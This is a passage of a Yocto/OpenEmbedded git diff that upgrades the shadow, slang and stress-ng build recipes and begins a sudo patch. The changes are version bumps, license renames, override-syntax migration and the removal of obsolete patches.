- usage (E_USAGE);
-@@ -757,7 +767,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("groupmod");
- #ifdef WITH_AUDIT
-diff --git a/src/useradd.c b/src/useradd.c
-index c74e491..7214e72 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -829,9 +829,10 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create users with duplicate\n"
- " (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD encrypted password of the new account\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD clear password of the new account\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL login shell of the new account\n"), usageout);
- (void) fputs (_(" -u, --uid UID user ID of the new account\n"), usageout);
- (void) fputs (_(" -U, --user-group create a group with the same name as the user\n"), usageout);
-@@ -1104,9 +1105,10 @@ static void process_flags (int argc, char **argv)
- {"no-user-group", no_argument, NULL, 'N'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
- {"user-group", no_argument, NULL, 'U'},
-@@ -1117,9 +1119,9 @@ static void process_flags (int argc, char **argv)
- };
- while ((c = getopt_long (argc, argv,
- #ifdef WITH_SELINUX
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:UZ:",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:UZ:",
- #else /* !WITH_SELINUX */
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:U",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:U",
- #endif /* !WITH_SELINUX */
- long_options, NULL)) != -1) {
- switch (c) {
-@@ -1285,12 +1287,19 @@ static void process_flags (int argc, char **argv)
- }
- user_pass = optarg;
- break;
-+ case 'P': /* set clear text password */
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- case 's':
- if ( ( !VALID (optarg) )
-@@ -2148,7 +2157,7 @@ int main (int argc, char **argv)
-
- process_root_flag ("-R", argc, argv);
-
-- prefix = process_prefix_flag("-P", argc, argv);
-+ prefix = process_prefix_flag("-A", argc, argv);
-
- OPENLOG ("useradd");
- #ifdef WITH_AUDIT
-diff --git a/src/usermod.c b/src/usermod.c
-index e571426..ccfbb99 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -424,8 +424,9 @@ static /*@noreturn@*/void usage (int status)
- " new location (use only with -d)\n"), usageout);
- (void) fputs (_(" -o, --non-unique allow using duplicate (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use encrypted password for the new password\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use clear password for the new password\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL new login shell for the user account\n"), usageout);
- (void) fputs (_(" -u, --uid UID new UID for the user account\n"), usageout);
- (void) fputs (_(" -U, --unlock unlock the user account\n"), usageout);
-@@ -1002,8 +1003,9 @@ static void process_flags (int argc, char **argv)
- {"move-home", no_argument, NULL, 'm'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
- {"unlock", no_argument, NULL, 'U'},
-@@ -1019,7 +1021,7 @@ static void process_flags (int argc, char **argv)
- {NULL, 0, NULL, '\0'}
- };
- while ((c = getopt_long (argc, argv,
-- "ac:d:e:f:g:G:hl:Lmop:R:s:u:UP:"
-+ "ac:d:e:f:g:G:hl:Lmop:P:R:s:u:UA:"
- #ifdef ENABLE_SUBIDS
- "v:w:V:W:"
- #endif /* ENABLE_SUBIDS */
-@@ -1119,9 +1121,17 @@ static void process_flags (int argc, char **argv)
- user_pass = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- case 's':
- if (!VALID (optarg)) {
-@@ -2098,7 +2108,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("usermod");
- #ifdef WITH_AUDIT
---
-2.11.0
-
diff --git a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
index 4fa3d184ed..173e8a937d 100644
--- a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
+++ b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
@@ -1,3 +1,8 @@
+From d767f776e631f1493fd7b266f2026d630ecf70fe Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 17 Jul 2014 15:53:34 +0800
+Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env
+
Upstream-Status: Inappropriate [OE specific]
commonio.c: fix unexpected open failure in chroot environment
@@ -10,15 +15,16 @@ Note that this patch doesn't change the logic in the code, it just expands
the codes.
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
---
- lib/commonio.c | 16 ++++++++++++----
+ lib/commonio.c | 16 ++++++++++++----
1 file changed, 12 insertions(+), 4 deletions(-)
diff --git a/lib/commonio.c b/lib/commonio.c
-index cc536bf..51cafd9 100644
+index 9e0fde6..7c3a1da 100644
--- a/lib/commonio.c
+++ b/lib/commonio.c
-@@ -613,10 +613,18 @@ int commonio_open (struct commonio_db *db, int mode)
+@@ -624,10 +624,18 @@ int commonio_open (struct commonio_db *db, int mode)
db->cursor = NULL;
db->changed = false;
@@ -41,6 +47,3 @@ index cc536bf..51cafd9 100644
db->fp = NULL;
if (fd >= 0) {
#ifdef WITH_TCB
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch b/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
index 1af04d5fe8..cc833362e9 100644
--- a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
+++ b/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
@@ -1,26 +1,37 @@
+From ca472d6866e545aaa70a70020e3226f236a8aafc Mon Sep 17 00:00:00 2001
+From: Shan Hai <shan.hai@windriver.com>
+Date: Tue, 13 Sep 2016 13:45:46 +0800
+Subject: [PATCH] shadow: use relaxed usernames
The groupadd from shadow does not allow upper case group names, the
same is true for the upstream shadow. But distributions like
Debian/Ubuntu/CentOS has their own way to cope with this problem,
this patch is picked up from CentOS release 7.0 to relax the usernames
restrictions to allow the upper case group names, and the relaxation is
-POSIX compliant because POSIX indicate that usernames are composed of
+POSIX compliant because POSIX indicate that usernames are composed of
characters from the portable filename character set [A-Za-z0-9._-].
Upstream-Status: Pending
-Signed-off-by: Shan Hai <shan.hai@windriver.com>
+Signed-off-by: Shan Hai <shan.hai@windriver.com>
-diff -urpN a/libmisc/chkname.c b/libmisc/chkname.c
-index 5089112..f40a0da 100644
+---
+ libmisc/chkname.c | 30 ++++++++++++++++++------------
+ man/groupadd.8.xml | 6 ------
+ man/useradd.8.xml | 8 +-------
+ 3 files changed, 19 insertions(+), 25 deletions(-)
+
+diff --git a/libmisc/chkname.c b/libmisc/chkname.c
+index 90f185c..65762b4 100644
--- a/libmisc/chkname.c
+++ b/libmisc/chkname.c
-@@ -49,21 +49,28 @@
- static bool is_valid_name (const char *name)
- {
+@@ -55,22 +55,28 @@ static bool is_valid_name (const char *name)
+ }
+
/*
- * User/group names must match [a-z_][a-z0-9_-]*[$]
- */
+-
- if (('\0' == *name) ||
- !((('a' <= *name) && ('z' >= *name)) || ('_' == *name))) {
+ * User/group names must match gnu e-regex:
@@ -55,28 +66,28 @@ index 5089112..f40a0da 100644
return false;
}
}
-diff -urpN a/man/groupadd.8.xml b/man/groupadd.8.xml
-index 230fd0c..94f7807 100644
+diff --git a/man/groupadd.8.xml b/man/groupadd.8.xml
+index 1e58f09..d804b61 100644
--- a/man/groupadd.8.xml
+++ b/man/groupadd.8.xml
-@@ -222,12 +222,6 @@
+@@ -272,12 +272,6 @@
+
<refsect1 id='caveats'>
<title>CAVEATS</title>
- <para>
+- <para>
- Groupnames must start with a lower case letter or an underscore,
- followed by lower case letters, digits, underscores, or dashes.
- They can end with a dollar sign.
- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
- </para>
-- <para>
+ <para>
Groupnames may only be up to &GROUP_NAME_MAX_LENGTH; characters long.
</para>
- <para>
-diff -urpN a/man/useradd.8.xml b/man/useradd.8.xml
-index 5dec989..fe623b9 100644
+diff --git a/man/useradd.8.xml b/man/useradd.8.xml
+index a16d730..c0bd777 100644
--- a/man/useradd.8.xml
+++ b/man/useradd.8.xml
-@@ -336,7 +336,7 @@
+@@ -366,7 +366,7 @@
</term>
<listitem>
<para>
@@ -85,16 +96,16 @@ index 5dec989..fe623b9 100644
wide setting from <filename>/etc/login.defs</filename>
(<option>CREATE_HOME</option>) is set to
<replaceable>yes</replaceable>.
-@@ -607,12 +607,6 @@
+@@ -660,12 +660,6 @@
+ the user account creation request.
</para>
- <para>
+- <para>
- Usernames must start with a lower case letter or an underscore,
- followed by lower case letters, digits, underscores, or dashes.
- They can end with a dollar sign.
- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
- </para>
-- <para>
+ <para>
Usernames may only be up to 32 characters long.
</para>
- </refsect1>
diff --git a/meta/recipes-extended/shadow/files/useradd b/meta/recipes-extended/shadow/files/useradd
new file mode 100644
index 0000000000..782aeef418
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/useradd
@@ -0,0 +1,8 @@
+# useradd defaults file
+GROUP=100
+HOME=/home
+INACTIVE=-1
+EXPIRE=
+SHELL=/bin/sh
+SKEL=/etc/skel
+CREATE_MAIL_SPOOL=no
diff --git a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
index 79fc8b80b5..e05fa237a2 100644
--- a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
+++ b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
@@ -2,7 +2,7 @@ SUMMARY = "Shadow utils requirements for useradd.bbclass"
HOMEPAGE = "http://github.com/shadow-maint/shadow"
BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base utils"
-LICENSE = "BSD | Artistic-1.0"
+LICENSE = "BSD-3-Clause | Artistic-1.0"
LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;md5=25e2f2de4dfc8f966ac5cdfce45cd7d5"
DEPENDS = "base-passwd"
@@ -14,9 +14,6 @@ PR = "r3"
# can add custom users/groups for recipes that use inherit useradd.
SRC_URI = "file://login.defs_shadow-sysroot"
-SRC_URI[md5sum] = "b8608d8294ac88974f27b20f991c0e79"
-SRC_URI[sha256sum] = "633f5bb4ea0c88c55f3642c97f9d25cbef74f82e0b4cf8d54e7ad6f9f9caa778"
-
S = "${WORKDIR}"
do_install() {
@@ -30,3 +27,5 @@ SYSROOT_DIRS += "${sysconfdir}"
# otherwise: dbus-dev depends on shadow-sysroot-dev which depends on shadow-sysroot
# and this has another copy of /etc/login.defs already provided by shadow
PACKAGES = ""
+
+inherit nopackages
diff --git a/meta/recipes-extended/shadow/shadow.inc b/meta/recipes-extended/shadow/shadow.inc
index 770c239e96..f5fdf436f7 100644
--- a/meta/recipes-extended/shadow/shadow.inc
+++ b/meta/recipes-extended/shadow/shadow.inc
@@ -1,39 +1,37 @@
SUMMARY = "Tools to change and administer password and group data"
HOMEPAGE = "http://github.com/shadow-maint/shadow"
+DESCRIPTION = "${SUMMARY}"
BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base/utils"
-LICENSE = "BSD | Artistic-1.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ed80ff1c2b40843cf5768e5229cf16e5 \
- file://src/passwd.c;beginline=2;endline=30;md5=5720ff729a6ff39ecc9f64555d75f4af"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c9a450b7be84eac23e6353efecb60b5b \
+ file://src/passwd.c;beginline=2;endline=30;md5=758c26751513b6795395275969dd3be1 \
+ "
DEPENDS = "virtual/crypt"
UPSTREAM_CHECK_URI = "https://github.com/shadow-maint/shadow/releases"
-SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/${PV}/${BP}.tar.gz \
+SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/v${PV}/${BP}.tar.gz \
file://shadow-4.1.3-dots-in-usernames.patch \
- file://0001-Make-the-sp_lstchg-shadow-field-reproducible-re.-71.patch \
- file://0001-configure.ac-fix-configure-error-with-dash.patch \
${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \
file://shadow-relaxed-usernames.patch \
+ file://useradd \
"
-SRC_URI_append_class-target = " \
+SRC_URI:append:class-target = " \
file://login_defs_pam.sed \
file://shadow-update-pam-conf.patch \
"
-SRC_URI_append_class-native = " \
+SRC_URI:append:class-native = " \
file://0001-Disable-use-of-syslog-for-sysroot.patch \
- file://allow-for-setting-password-in-clear-text.patch \
file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \
- file://0001-useradd.c-create-parent-directories-when-necessary.patch \
"
-SRC_URI_append_class-nativesdk = " \
+SRC_URI:append:class-nativesdk = " \
file://0001-Disable-use-of-syslog-for-sysroot.patch \
"
-SRC_URI[md5sum] = "36feb15665338ae3de414f2a88e434db"
-SRC_URI[sha256sum] = "4668f99bd087399c4a586084dc3b046b75f560720d83e92fd23bf7a89dda4d31"
+SRC_URI[sha256sum] = "f262089be6a1011d50ec7849e14571b7b2e788334368f3dccb718513f17935ed"
# Additional Policy files for PAM
PAM_SRC_URI = "file://pam.d/chfn \
@@ -48,17 +46,16 @@ inherit autotools gettext
export CONFIG_SHELL="/bin/sh"
-EXTRA_OECONF += "--without-audit \
- --without-libcrack \
- --without-selinux \
+EXTRA_OECONF += "--without-libcrack \
--with-group-name-max-length=24 \
--enable-subordinate-ids=yes \
+ --without-sssd \
${NSCDOPT}"
NSCDOPT = ""
-NSCDOPT_class-native = "--without-nscd"
-NSCDOPT_class-nativesdk = "--without-nscd"
-NSCDOPT_libc-glibc = "--with-nscd"
+NSCDOPT:class-native = "--without-nscd"
+NSCDOPT:class-nativesdk = "--without-nscd"
+NSCDOPT:libc-glibc = "--with-nscd"
PAM_PLUGINS = "libpam-runtime \
pam-plugin-faildelay \
@@ -73,19 +70,23 @@ PAM_PLUGINS = "libpam-runtime \
pam-plugin-shells \
pam-plugin-rootok"
+PAM_PLUGINS:remove:libc-musl = "pam-plugin-lastlog"
+
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}"
PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl"
+PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux libsemanage"
-RDEPENDS_${PN} = "shadow-securetty \
+RDEPENDS:${PN} = "shadow-securetty \
base-passwd \
util-linux-sulogin"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
do_install() {
oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install
@@ -114,15 +115,11 @@ do_install() {
# Use proper encryption for passwords
sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs
- # Now we don't have a mail system. Disable mail creation for now.
- sed -i 's:/bin/bash:/bin/sh:g' ${D}${sysconfdir}/default/useradd
- sed -i '/^CREATE_MAIL_SPOOL/ s:^:#:' ${D}${sysconfdir}/default/useradd
-
- # Use users group by default
- sed -i 's,^GROUP=1000,GROUP=100,g' ${D}${sysconfdir}/default/useradd
+ install -d ${D}${sysconfdir}/default
+ install -m 0644 ${WORKDIR}/useradd ${D}${sysconfdir}/default
}
-do_install_append() {
+do_install:append() {
# Ensure that the image has as a /var/spool/mail dir so shadow can
# put mailboxes there if the user reconfigures shadow to its
# defaults (see sed below).
@@ -155,7 +152,7 @@ do_install_append() {
}
PACKAGES =+ "${PN}-base"
-FILES_${PN}-base = "\
+FILES:${PN}-base = "\
${base_bindir}/login.shadow \
${base_bindir}/su.shadow \
${bindir}/sg \
@@ -165,31 +162,26 @@ FILES_${PN}-base = "\
${sysconfdir}/pam.d/su \
${sysconfdir}/login.defs \
"
-RDEPENDS_${PN} += "${PN}-base"
+RDEPENDS:${PN} += "${PN}-base"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "200"
-ALTERNATIVE_${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE:${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
+ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd"
ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw"
ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr"
ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
-ALTERNATIVE_${PN}-base = "newgrp groups login su"
+ALTERNATIVE:${PN}-base = "newgrp groups login su"
ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login"
ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
-ALTERNATIVE_${PN}-doc = "passwd.5 getspnam.3 groups.1 su.1 nologin.8"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
-ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
-ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
-
PACKAGE_WRITE_DEPS += "shadow-native"
-pkg_postinst_${PN}_class-target () {
+pkg_postinst:${PN}:class-target () {
if [ "x$D" != "x" ]; then
rootarg="--root $D"
else
diff --git a/meta/recipes-extended/shadow/shadow_4.11.1.bb b/meta/recipes-extended/shadow/shadow_4.11.1.bb
new file mode 100644
index 0000000000..40b11345c9
--- /dev/null
+++ b/meta/recipes-extended/shadow/shadow_4.11.1.bb
@@ -0,0 +1,11 @@
+require shadow.inc
+
+# Build falsely assumes that if --enable-libpam is set, we don't need to link against
+# libcrypt. This breaks chsh.
+BUILD_LDFLAGS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Severity is low and marked as closed and won't fix.
+# https://bugzilla.redhat.com/show_bug.cgi?id=884658
+CVE_CHECK_IGNORE += "CVE-2013-4235"
diff --git a/meta/recipes-extended/shadow/shadow_4.6.bb b/meta/recipes-extended/shadow/shadow_4.6.bb
deleted file mode 100644
index c975395ff8..0000000000
--- a/meta/recipes-extended/shadow/shadow_4.6.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require shadow.inc
-
-# Build falsely assumes that if --enable-libpam is set, we don't need to link against
-# libcrypt. This breaks chsh.
-BUILD_LDFLAGS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-
-
diff --git a/meta/recipes-extended/slang/slang/terminfo_fixes.patch b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
index 3e6d15aa79..3ca20a8cab 100644
--- a/meta/recipes-extended/slang/slang/terminfo_fixes.patch
+++ b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
@@ -2,7 +2,9 @@ Do not use the JD_TERMCAP macro since we cannot get the terminfo from
ncurses pkg-config, but fix the macro to not reference host directories.
Also add src/test/Makefile.in so that we can use -ltermcap if we want to.
-Upstream-Status: Pending
+Upstream isn't going to take this, as it forces blank values and
+removes functionality without replacing it.
+Upstream-Status: Inappropriate [see above]
Signed-off-by: Joe Slater <joe.slater@windriver.com>
diff --git a/meta/recipes-extended/slang/slang_2.3.2.bb b/meta/recipes-extended/slang/slang_2.3.2.bb
index 99efb16da6..08cc9670dc 100644
--- a/meta/recipes-extended/slang/slang_2.3.2.bb
+++ b/meta/recipes-extended/slang/slang_2.3.2.bb
@@ -11,7 +11,7 @@ HOMEPAGE = "http://www.jedsoft.org/slang/"
SECTION = "libs"
DEPENDS = "ncurses virtual/libiconv"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02"
SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
@@ -27,7 +27,7 @@ SRC_URI[md5sum] = "c2d5a7aa0246627da490be4e399c87cb"
SRC_URI[sha256sum] = "fc9e3b0fc4f67c3c1f6d43c90c16a5c42d117b8e28457c5b46831b8b5d3ae31a"
UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/"
-PREMIRRORS_append = "\n http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/ \n"
+PREMIRRORS:append = " http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/"
inherit autotools-brokensep ptest
CLEANBROKEN = "1"
@@ -42,7 +42,7 @@ PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,p
PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng"
PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib"
-do_configure_prepend() {
+do_configure:prepend() {
cd ${S}/autoconf
# slang keeps configure.ac and rest of autoconf files in autoconf/ directory
# we have to go there to be able to run gnu-configize cause it expects configure.{in,ac}
@@ -74,9 +74,9 @@ do_install_ptest() {
sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl
}
-FILES_${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
+FILES:${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
-RDEPENDS_${PN}-ptest += "make"
+RDEPENDS:${PN}-ptest += "make"
PARALLEL_MAKE = ""
PARALLEL_MAKEINST = ""
diff --git a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch b/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
deleted file mode 100644
index c860c717ac..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From bbc85a439672120fa1d36be79e959b28fe840919 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 30 Jul 2019 18:38:03 +0200
-Subject: [PATCH] Do not preserve ownership when installing example jobs
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index f36e57e..20488af 100644
---- a/Makefile
-+++ b/Makefile
-@@ -452,6 +452,6 @@ install: stress-ng stress-ng.1.gz
- mkdir -p ${DESTDIR}${MANDIR}
- cp stress-ng.1.gz ${DESTDIR}${MANDIR}
- mkdir -p ${DESTDIR}${JOBDIR}
-- cp -rp example-jobs/*.job ${DESTDIR}${JOBDIR}
-+ cp -r example-jobs/*.job ${DESTDIR}${JOBDIR}
- mkdir -p ${DESTDIR}${BASHDIR}
- cp bash-completion/stress-ng ${DESTDIR}${BASHDIR}
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.10.08.bb b/meta/recipes-extended/stress-ng/stress-ng_0.10.08.bb
deleted file mode 100644
index 470f42295f..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng_0.10.08.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "System load testing utility"
-DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
-imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
-HOMEPAGE = "https://kernel.ubuntu.com/~cking/stress-ng/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "https://kernel.ubuntu.com/~cking/tarballs/${BPN}/${BP}.tar.xz \
- file://0001-Do-not-preserve-ownership-when-installing-example-jo.patch \
- "
-SRC_URI[md5sum] = "e02acd0bc00d3c6a81412537393c2436"
-SRC_URI[sha256sum] = "4addeaabcfcb709581cbc4c61182317b8d91bcf31f529bfa899d170facfd75ce"
-
-DEPENDS = "coreutils-native"
-
-PROVIDES = "stress"
-RPROVIDES_${PN} = "stress"
-RREPLACES_${PN} = "stress"
-RCONFLICTS_${PN} = "stress"
-
-inherit bash-completion
-
-do_install() {
- oe_runmake DESTDIR=${D} install
-}
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.13.12.bb b/meta/recipes-extended/stress-ng/stress-ng_0.13.12.bb
new file mode 100644
index 0000000000..fe177a4de0
--- /dev/null
+++ b/meta/recipes-extended/stress-ng/stress-ng_0.13.12.bb
@@ -0,0 +1,24 @@
+SUMMARY = "System load testing utility"
+DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
+imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
+HOMEPAGE = "https://github.com/ColinIanKing/stress-ng#readme"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master"
+SRCREV = "f59bcb2fe1e25042e77d5e4942f72bfa026fa305"
+S = "${WORKDIR}/git"
+
+DEPENDS = "coreutils-native"
+
+PROVIDES = "stress"
+RPROVIDES:${PN} = "stress"
+RREPLACES:${PN} = "stress"
+RCONFLICTS:${PN} = "stress"
+
+inherit bash-completion
+
+do_install() {
+ oe_runmake DESTDIR=${D} install
+ ln -s stress-ng ${D}${bindir}/stress
+}
diff --git a/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch b/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch
new file mode 100644
index 0000000000..f63ed553be
--- /dev/null
+++ b/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch
@@ -0,0 +1,25 @@
+From f993c5c88faacc43971899aae2168ffb3e34dc80 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 24 Sep 2021 13:36:24 +0200
